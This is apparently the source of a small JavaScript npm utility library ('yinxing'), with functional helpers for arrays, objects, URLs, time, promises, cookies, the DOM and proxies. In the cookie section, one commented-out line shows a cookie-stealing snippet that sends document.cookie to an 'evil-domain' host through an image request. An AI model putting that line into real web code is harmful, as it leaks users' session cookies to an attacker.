UNPKG

yinxing

Version:
588 lines (523 loc) 17.2 kB
/* import * as R from 'ramda' import * as _ from 'lodash' import * as I from 'immutable' */ const R=require('ramda') const _=require('lodash') const I=require('immutable') const { entries:toPairs, fromEntries:fromPairs, keys, values, assign }=Object; const {isArray}=Array; const it=x=>x; const say=(x="")=>(y="")=>console.log(x,y); const say1=(x)=>(y)=>(console.log(x,y),y); const say_error=(x)=>(y)=>(console.error(x,y),y); const welcome=x=>console.log("%c"+x,'font: 10rem roboto;color #dd4814'); const cp=(o={})=>JSON.parse(JSON.stringify(o)); const cp0=(o1,o2)=>k=>o1[k]=o2[k]; const cp1=(o1={})=>(o2={})=>assign(o2,o1); const cp2=(o1={})=>(o2={})=>toPairs(o1).reduce((a,[k,v])=>(a[k]=v,a),o2); const merge_o=(...a)=>fromPairs(a.map(x=>toPairs(x)).flat()); const merge_o1=(...a)=>a.reduce((x,y)=>({...x,...y}),{}); const is_null=x=>!x; const is_obj=(o="")=>o.constructor==Object const is_array=(a="")=>a.constructor==Array const is_empty=(a=[])=>a.length==0 const is_empty1=(d=[])=>_.isArray(d) && _.isEmpty(d) const is_not_empty=(d=[])=>_.isArray(d) && (!_.isEmpty(d)) const is_empty2=(o={})=>Object.values(o).every(is_null) const is_local=()=>/localhost/.test(window.location.href) // a={x:"ccc1",y:2} // has("ccc")("x")(a) const has=(b)=>(k="name")=>(a={})=> !b || new RegExp(b).test(a[k]) const map_to_json=x=>fromPairs(toPairs(x)) const json2str=o=>JSON.stringify(o,null,'\t') const to_s=(o) => is_obj(o) ?JSON.stringify(o,null,"\t") : o.toString() const maybe_json=(s="")=> /\[.*\]|\{.*\}/.test(s); const to_json=(s="{}")=>{ try{ return JSON.parse(s) }catch(e){ return {} } } const to_json1=(s="")=>maybe_json(s) ? JSON.parse(s) : ({}) const to_num=(x=0)=>/\d+/.test(x) ? +(/\d+/.exec(x)[0]) :0 //---------------------------------------url----------------- const param2json=(s1="; ")=>(s2="=")=>(str)=>str.split(s1).map(a=>a.split(s2)).reduce((a,[k,v])=>(a[k]=v,a),{}) const param2map=(s1="; ")=>(s2="=")=>(str)=>str.split(s1).map(a=>a.split(s2)).reduce((a,[k,v])=>(a.set(k,v),a),new Map()) const serialize=(s1="=")=>(s2="&")=>(o={})=>toPairs(o).map(([k,v])=>`${k}${s1}${v}`).join(`${s2}`) const serializeMap=(s1="=")=>(s2="&")=>(o={})=>[...o].map(([k,v])=>`${k}${s1}${v}`).join(`${s2}`) const test_serialize=()=>{ let p1=param2json(", ")("=")(document.cookie) let p2=param2json("&")("=")("a=b&c=d") let p3=param2map(", ")("=")(document.cookie) let p4=serializeMap()()(p3) let b=serialize()()({x:1,y:2}) } // url_formator()() -> '/i/orders/1' const url_formator=(u0='/i/orders/:{id}')=>(d={"id":1})=>{ let [k,v]=toPairs(d).flat() let r='(.*):{'+ k +'}'; let re=new RegExp(r) let u1=u0.match(re)[1]+v return u1 } const find_filename=(n="")=>{ const extra=(n)=>/\./.test(n)?n.split('.') :n let [name1,]=extra(n) return name1 } //---------------------------------------mobile----------------- const is_weixin=(userAgent="")=>/micro/i.test(userAgent) const is_weixin1=()=>false||is_weixin(navigator.userAgent) const mobile_not_weixin=ua=>/Android|iPhone|Mobile/.test(ua) && !(/MicroMessenger/.test(ua)) const mobile_not_weixin1=()=>mobile_not_weixin(navigator.userAgent) //---------------------------------------time----------------- const sleep=(n=1)=>new Promise((resolve)=>setTimeout(resolve,n*1000)) //const sleep=(ms=1000)=>new Promise(resolve => setTimeout(resolve, ms)) const timeout=sleep const sleep1=async(fn, ...args)=> { await timeout(3000); return fn(...args); } const now=()=>moment().format('YYYYMMDD') const unix2l=t=>moment.unix(t).format('Y-MM-DD hh:mm') const today=()=> moment().format('YYYYMMDD') const today_w=()=>moment().weekday() const weekday=(n=-1)=> today_w() == 6 ? today() : moment().add(-moment().weekday(),"days").add(n,"days").format('YYYYMMDD') //---------------------------------------iter..----------------- const map=f=>(a=[])=>a.map(f) const pmap=(f)=>(x=[])=>Promise.all(x.map(f)); const queque=(arr=[])=>Promise.all(arr) const for_each=f=>(o={})=>toPairs(o).map(f) const each=f=>o=>toPairs(o).map(([k,v])=>f(k,v)) const each1=fn=>(a={})=>I.Map(a).map(fn); const each2=(a={})=>fn=>toPairs(a).map(([k,v],i,o)=>fn(k,v,i,o)) const each3=fn=>(a={})=>toPairs(a).map(([k,v],i,o)=>fn(k,v,i,o)) const each_k=f=>o=>toPairs(o).map(([k])=>f(k)) const each_v=f=>o=>toPairs(o).map(([,v])=>f(v)) const each_v1=f=>o=>fromPairs(toPairs(o).map(([k,v])=>[k,f(v)])) const reducer_arr=(f)=>(arr=[])=>arr.reduce((a,b)=>(a[b]=f(b),a),{}); const reducer=fn=>(o={})=>toPairs(o).reduce(fn,{}) const reducer1=fn=>(o={})=>toPairs(o).reduce((a,[k,v])=>(a[k]=fn(k,v),a),{}) const reducer_with_origin=(f)=>(o={})=>c=>toPairs(o).reduce((a,[k,v])=>(a[k]=f(k,v),a),c) const cp3=(o1={})=>(o2={})=>reducer_with_origin((k,v)=>v)(o1)(o2) const repeat1=(x,n)=>Array(n).fill(x) const run_parallel =(fs=[])=>fs.map(x=>x()) const run_parallel_p =(fs=[])=>Promise.all(fs.map(x=>x())) const run_sequential=(fs=[],result)=>fs.reduce((acc,f)=>f(acc),result) const run_repeat=async (f,n=1,result)=>run_sequential(repeat1(f,n),result) const run_sequential_p1=async ([h,...t],result)=> h ? run_sequential(t,await h(result)) : result const run_sequential_p2=async(fs,result)=>fs.reduce(async (acc,f)=>f(await acc),result) const run_repeat_p=async (f,n=1,result)=>run_sequential_p2(repeat1(f,n),result) const run=(fs=[],mapper=it)=>(x=0)=>mapper(fs).reduce((a,f)=>f(a),x) const pipe=(...fs)=>run(fs.flat()) const pipe1=(...fs)=>run(fs.flat(),reverse) const pipe2=(fs=[])=>x=>fs.reduce((acc,b)=>b(acc),x) const pipe3=(fs=[])=>(arr=[])=>fs.reduce((a,b)=>b(a),arr) //f=(context,next)=>{...;next()} //compose([f1,f2,...,fn]) const compose=([h,...t])=>ctx=>{ if (!h) { return ; } h(ctx,()=>compose(t)(ctx)) } //f=async(ctx,next)=>{await g(ctx),await next()} //compose([f1,f2,...,fn]) const compose1=([h,...t])=>async ctx=>{ if (!h) { return ; } await h(ctx,()=>compose1(t)(ctx)) } async function* lazy(f,n) { for (let i of n){ yield f(i) } } async function loop(fn,input,interval=2000){ let r=[] for await (const i of lazy(fn,input)) { r.push(i) await timeout(interval) } return r } async function loop_cb(fn,cb,input,interval=2000){ let r=[] let p=async ([h,...t])=>{ if (h) { console.log(t.length) r.push(fn(h)) await setTimeout(()=>p(t),interval) }else{ cb(r) } } p(input) } //--------------------------------promisify-------------------------------------- const promisify0=(fn,t)=>(...arg)=>new Promise((f1,f2)=>fn.call(t,...arg,(err,d)=>err?f2(err):f1(d))) //fn(...,cb=(err,d)=>(...)) //redis.. const promisify1=(fn)=>(...arg)=>new Promise((f1,f2)=>fn(...arg,(err,d)=>err?f2(err):f1(d))) //fn(...,cb=(err,d)=>(...)) const promisify2=(fn)=>(...arg)=>new Promise((f1,f2)=>fn(...arg,f1)) //fn(...,cb) const promisify3=(fn)=>(...arg)=>new Promise((f1,f2)=>fn(f1,...arg,)) //fn(cb,...) const promisifyAll=(c)=>{ let f=([k,v])=>c.__proto__["_"+k]=promisify0(v,c) each(f)(c.__proto__) return c } const promisifyAll1=(c)=>{ let p=c.constructor; let o=p.prototype let f=([k,v])=>o["_"+k]=promisify0(v,c) each(f)(o) return c } //--------------------------------math-------------------------------------- const rnd=(n=1)=>Math.floor(Math.random()*n) const rnd0=(n=1)=>parseInt(Math.random()*10**n) const rnd1=pipe((x=10)=>x*Math.random(),Math.floor) const rnd_pick=(arr=[])=>arr[rnd(arr.length)] const minus=k=>(a,b)=>a[k]-b[k] const add=(a,b)=>isNaN(+b) ? a : (+b)+a ; const add1=(arr=[])=>arr.reduce(add,0); const add2=(arr=[])=>k=>add1(arr.map(y=>y[k])); const sum=(arr=[])=>arr.reduce((a,b)=>a+b,0) const sum1=z=>toPairs(z).reduce((a,b)=>(a=a+b[1],a),0) const sumby=(arr=[])=>k=>sum(pick(arr)(k)) const minby=(arr=[])=>(key)=>Math.min(...arr.map(x=>x[key])) const maxby=(arr=[])=>(key)=>Math.max(...arr.map(x=>x[key])) //---------------------------------------[],[{}...],{}----------------- const range=(n=10)=>Array(n).fill(0).map((x,i)=>i) const fill=(arr=[])=>(i=true)=>arr.map(x=>i) const fill1=(i=true)=>(arr=[])=>arr.map(x=>i) const repeat=(d)=>(n=5)=>Array(n).fill(0).map(()=>d) const reverse=(a=[])=>a.reduceRight((a,b)=>([...a,b]),[]) const first=(a=[])=>a[0]||"" const last=a=>a.reduce((x,y)=>y) const last1=a=>a.slice(-1) const tail=([h,...t])=>t const take=(a,n)=>a.slice(0,n) const pick=(arr=[])=>k=>arr.map(x=>x[k]); const drop=(o={})=>(k="")=>reducer((a,[k1,v])=>{ k1!=k ? a[k1]=v :null; return a })(o) const drop1=o=>k=>I.Map(o).remove(k).toJS() const drop_empty=(o={})=>reducer((a,[k,v])=>{ if ( v==0 || v) {a[k]=v} return a; })(o) const append=(arr=[])=>(d={})=>[...arr,d] const sortBy=k=>(ascend=true)=> ascend ? R.sortBy(R.prop(k)) : R.sort(R.descend(R.prop(k))) const zip=(...arg)=>{ let [h1,h2,...t]=arg; if (!h2) return h1 let d=h1.map((x,i)=>isArray(x)? [...x,h2[i]] :[ x , h2[i]]) return zip(d,...t) } const zip1=(x,y)=>fromPairs(x.map((x1,i)=>[x1,y[i]])) const zip2=(a=[],b=[])=>a.map((x,i)=>[x,b[i]]) const flat=a=>a.map(x=>[...x]).flat() const uniq=(arr=[])=>[...new Set(arr.flat())] const uniq1=(arr=[])=>[...new Set(arr)]; const group_by=(cat=[])=>(d)=>fromPairs(cat.map(x=>[x,d.filter(y=>new RegExp(x,"i").test(y.title)).length,])) const add_key=(o={uid:0,status: 'done'})=>(a=[])=>a.map((x,i)=>({...x,...o,uid:i})) const add_keys=(kk=[])=>(arr=[])=>arr.reduce((acc,x,i)=>(acc[kk[i]]=x,acc),{}) const add_key1=(b=[])=>(a=[])=>a.reduce((acc,v,i)=>(acc[b[i]]=v,acc),{}) const add_keys1=(a=[])=>(b=[])=>a.map(add_key1(b)); //add_keys1(t)(["color","size","qty"]) //---------------------------------CRUD---------------------------------- const addRow=({table,row})=>([...table,{...row}]) const updateRow=({i,table,row})=>{ const t=cp(table) t[i]=cp(row) return t; } const delRow=({i,table}={i:0,table:[]})=>table.filter((x,n)=>n!==i) const append_with_id=(a=[])=>(d={})=> d.id ? [...a,{...d}] : [...a,{...d,id:rnd(5)}] ; const getIndexById=(a=[])=>(d={id:0})=>a.findIndex(x=>x.id==d.id) const findByKey=(arr=[])=>(d={})=>(k="id")=>arr.findIndex(x=>x[k]==d[k]) const removeById=(a=[])=>(d={id:0})=>a.filter(x=>x.id!=d.id) const removeByKey=(arr=[])=>(d={})=>(k="id")=>arr.filter(x=>x[k]!=d[k]); const updateByKey=(arr=[])=>(d={})=>(k="")=>{ let i=findByKey(arr)(d)(k) let a1=cp(arr); a1[i]=d; return a1; } const updateById=(a=[])=>(d={id:0})=>{ let b=cp(a) b[b.findIndex(x=>x.id==d.id)]=cp(d); return b; } const updateById1=(o=[])=>(d={id:0})=>{ let i=getIndexById(o)(d); let z=o[i]; each2(z)(cp1(z,d)) } //---------------------------------分页---------------------------------- const slice1=(arr=[])=>(current=1)=>(size=10)=>{ let p1=current*size,p2=p1+size; return arr.slice(p1,p2) } const len1=(arr=[])=>(size=1)=>{ let l1=arr.length let l2=l1/size return [l1,l2] } //---------------------------------find---------------------------------- const filter=(arr=[])=>(o={})=>{ if (is_empty(o)) { return arr; } let o1=drop_empty(o) let [k,ks]=keys(o1); let arr1= k ? arr.filter(x=>new RegExp(o1[k]).test(x[k])) :arr; if (ks) { let o2=drop(o)(k); return filter(arr1)(o2) } return arr1; } const filter_gen =(arr=[])=>k=> R.pipe(R.pluck(k),R.uniq,R.filter(x=>x!==""),R.map(x=>({"text":x,value:x})))(arr) const clean=R.filter(x=>x.length>0) const search_fieldes_gen=reducer1(()=>([])); const search=(arr=[])=>(c={})=>{ let c0=clean(c); if (R.isEmpty(arr) || R.isEmpty(c0)) return arr; let [k1,...k2]=R.toPairs(c0); let a1; if (k1.length){ let [kk,vv]=k1; let a1= arr.filter(x=>vv.includes(x[kk])) let c1=R.fromPairs(k2); return search(a1)(c1) } return arr } //---------------------------------------cookie----------------------------------------- //(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie; const parse_cookie=()=>document.cookie.split('; ').map(x=>x.split("=")) const cookie2map=(z="")=>new Map(parse_cookie()) const cookie2json=()=>fromPairs(parse_cookie()) const json2cookie=(z={})=>toPairs(z).map(x => x.join('=')).join('; ')+";" const cookie_proxy=()=>{ let oo={ set: (o, k, v) => k == "cookie" ? document.cookie = json2cookie(v) : o[k] =v, get: (o, k) => k == "cookie" ? cookie2map(o[k]): o[k], } return new Proxy(document, oo); } const test_cookie=()=>{ const cc =cookie_proxy() cc.cookie = { x: 222, y: 333 } cc.cookie.get('x') c=cc.cookie console.log(c,[...c]) } //---------------------------------------dom----------------- const form2pairs=(f="#add_link")=>([...document.querySelector(f)] .filter(x=>x.name) .map(({name,value})=>[name,value])) const form2json=(f="#add_link")=>R.fromPairs(form2pairs()) const create_tag=(p=document.body,tag="iframe",o={ "width": "100%", "height":"100%", "frameborder": "0", "scrolling": "auto", })=>(d={})=>{ let z=document.createElement(tag); const add_attr=([k,v])=>z.setAttribute(k,v) for_each(add_attr)({ ...o, ...d,}) p.append(z) } const save=(k,v)=>localStorage[k]=JSON.stringify(v) const is_uuid=(id="")=>{ let a='8aa52d58-6b69-4a6a-8a6d-c7dfdcbb9f7f'; let b=a.split('-').map(x=>x.length).map(x=>`.{${x}}`).join('-') let re= new RegExp(b); return re.test(id) } //---------------------------------------proxy----------------- const or_reg=(arr=[])=>new RegExp(arr.join('|')); const json_proxy=(o={})=>new Proxy(o ,{ get :(o,n)=>n in o ? JSON.parse(o[n]) :o[n]}); const int_proxy=(o={})=>new Proxy(o,{get:(o,n)=>+o[n]||0}); const int_proxys=(kk=[])=>(o={})=>new Proxy(o,{get:(o,n)=>kk.includes(n) ? +o[n]||0 : o[n]}); const int_proxys1=(kk=[])=>(o={})=>new Proxy(o,{get:(o,n)=>{ if (!kk.length) { return o[n]; }else{ return or_reg(kk).test(n) ? +o[n]||0 : o[n] } }}); const int_fomator=(k=[])=>(o={})=>cp(int_proxys(k)(o)); const int_fomator1=(k=[])=>(o={})=>cp(int_proxys1(k)(o)); const int_formator2=(kk=['value','qty'])=>x=>toPairs(x).map(([k,v])=>(kk.includes(k) ? [k,+v]:[k,v])); const int_formators=(kk=['value','qty'])=>(arr=[])=>arr.map(int_formator(kk)).map(fromPairs); //const localStorage1=json_proxy(window.localStorage); //-------------------------笛卡尔积------------------------------------------- const cross_join=(a=[])=>(b=[])=>{ const join=(i,j)=>i+"_"+j; let t1=a.map((x,i)=>(b.map((y,j)=>[join(i,j),0]))).flat() let t2=a.map((x,i)=>(b.map((y,j)=>[join(i,j),[x,y]]))).flat() let kv1=new Map(t1) const set_qty=(i,j,v=0)=>kv1.set(join(i,j),v); const reset_qty=(vv=0)=>kv1.forEach((v,k)=>kv1.set(k,vv)) const get_qty=(i,j)=>kv1.get(join(i,j)); const add_qty=(i,j,v=0)=>{ let v0=get_qty(i,j), v1=v0+v; kv1.set(join(i,j),v1) } let kv2=new Map(t2) const decode=(i,j)=>kv2.get(join(i,j)); const decodes=()=>[...kv1].map(([k,v],i)=>[k,...kv2.get(k),v]) const decodes1=(k=["attr","color","size","qty"])=>decodes().map(add_keys(k)) const v_decodes=()=>decodes1().filter(x=>x.qty>0) const total=(k="qty")=>sumby(decodes1())(k) return { decode, decodes, decodes1, v_decodes, kv1, set_qty, get_qty, add_qty, reset_qty, init:()=>new Map(t1), total, } } const cross_join1=(arr1=[])=>(arr2=[])=>(d=0)=>{ let o={}; let dict={}; const gen_index=(i,j)=>{ let k=`${i}_${j}`; o[k]=d; dict[k]=[arr1[i],arr2[j]] } arr1.forEach((v1,i)=>arr2.forEach((v2,j)=>gen_index(i,j))) const decode=(obj={})=>( toPairs(obj) .filter(([k,v])=>v>0) .map(([k,v])=>[...dict[k],v]) ) return [o,dict,decode]; } //---------------------------------------curry----------------- function curry(f,reset=true,){ let a=[]; const l = f.length if (l == 0 ) return f const g=(...arg)=>{ a.push(...arg) if (a.length >= l) { const v=f(...a) if (reset) a.length=0 return v } return g } return g } function test_curry(){ let f=(a,b,c,d)=>a+b+c+d let g=curry(f) let t=g(1)(2)(3)(4) == 10 console.log(t) } //export { module.exports= { add, add1, add2, addRow, append, clean, compose, cookie2json, cookie2map, cp, cp0, cp1, cp2, cp3, delRow, drop, drop1, each, each1, each2, each3, fill, fill1, filter, findByKey, first, flat, form2json, form2pairs, getIndexById, has, it, json2cookie, json2str, last, last1, len1, map, maxby, minby, minus, now, param2json, param2map, pick, pipe, pipe1, pipe2, pipe3, pmap, queque, range, reducer, reducer1, removeById, removeByKey, repeat, reverse, rnd, rnd0, rnd1, run, save, say, say1, search, serialize, serializeMap, sleep, sleep1, slice1, sortBy, sum, sum1, sumby, tail, take, timeout, to_json, to_json1, to_s, uniq, uniq1, unix2l, updateById, updateById1, updateByKey, updateRow, weekday, welcome, zip, zip1, zip2, }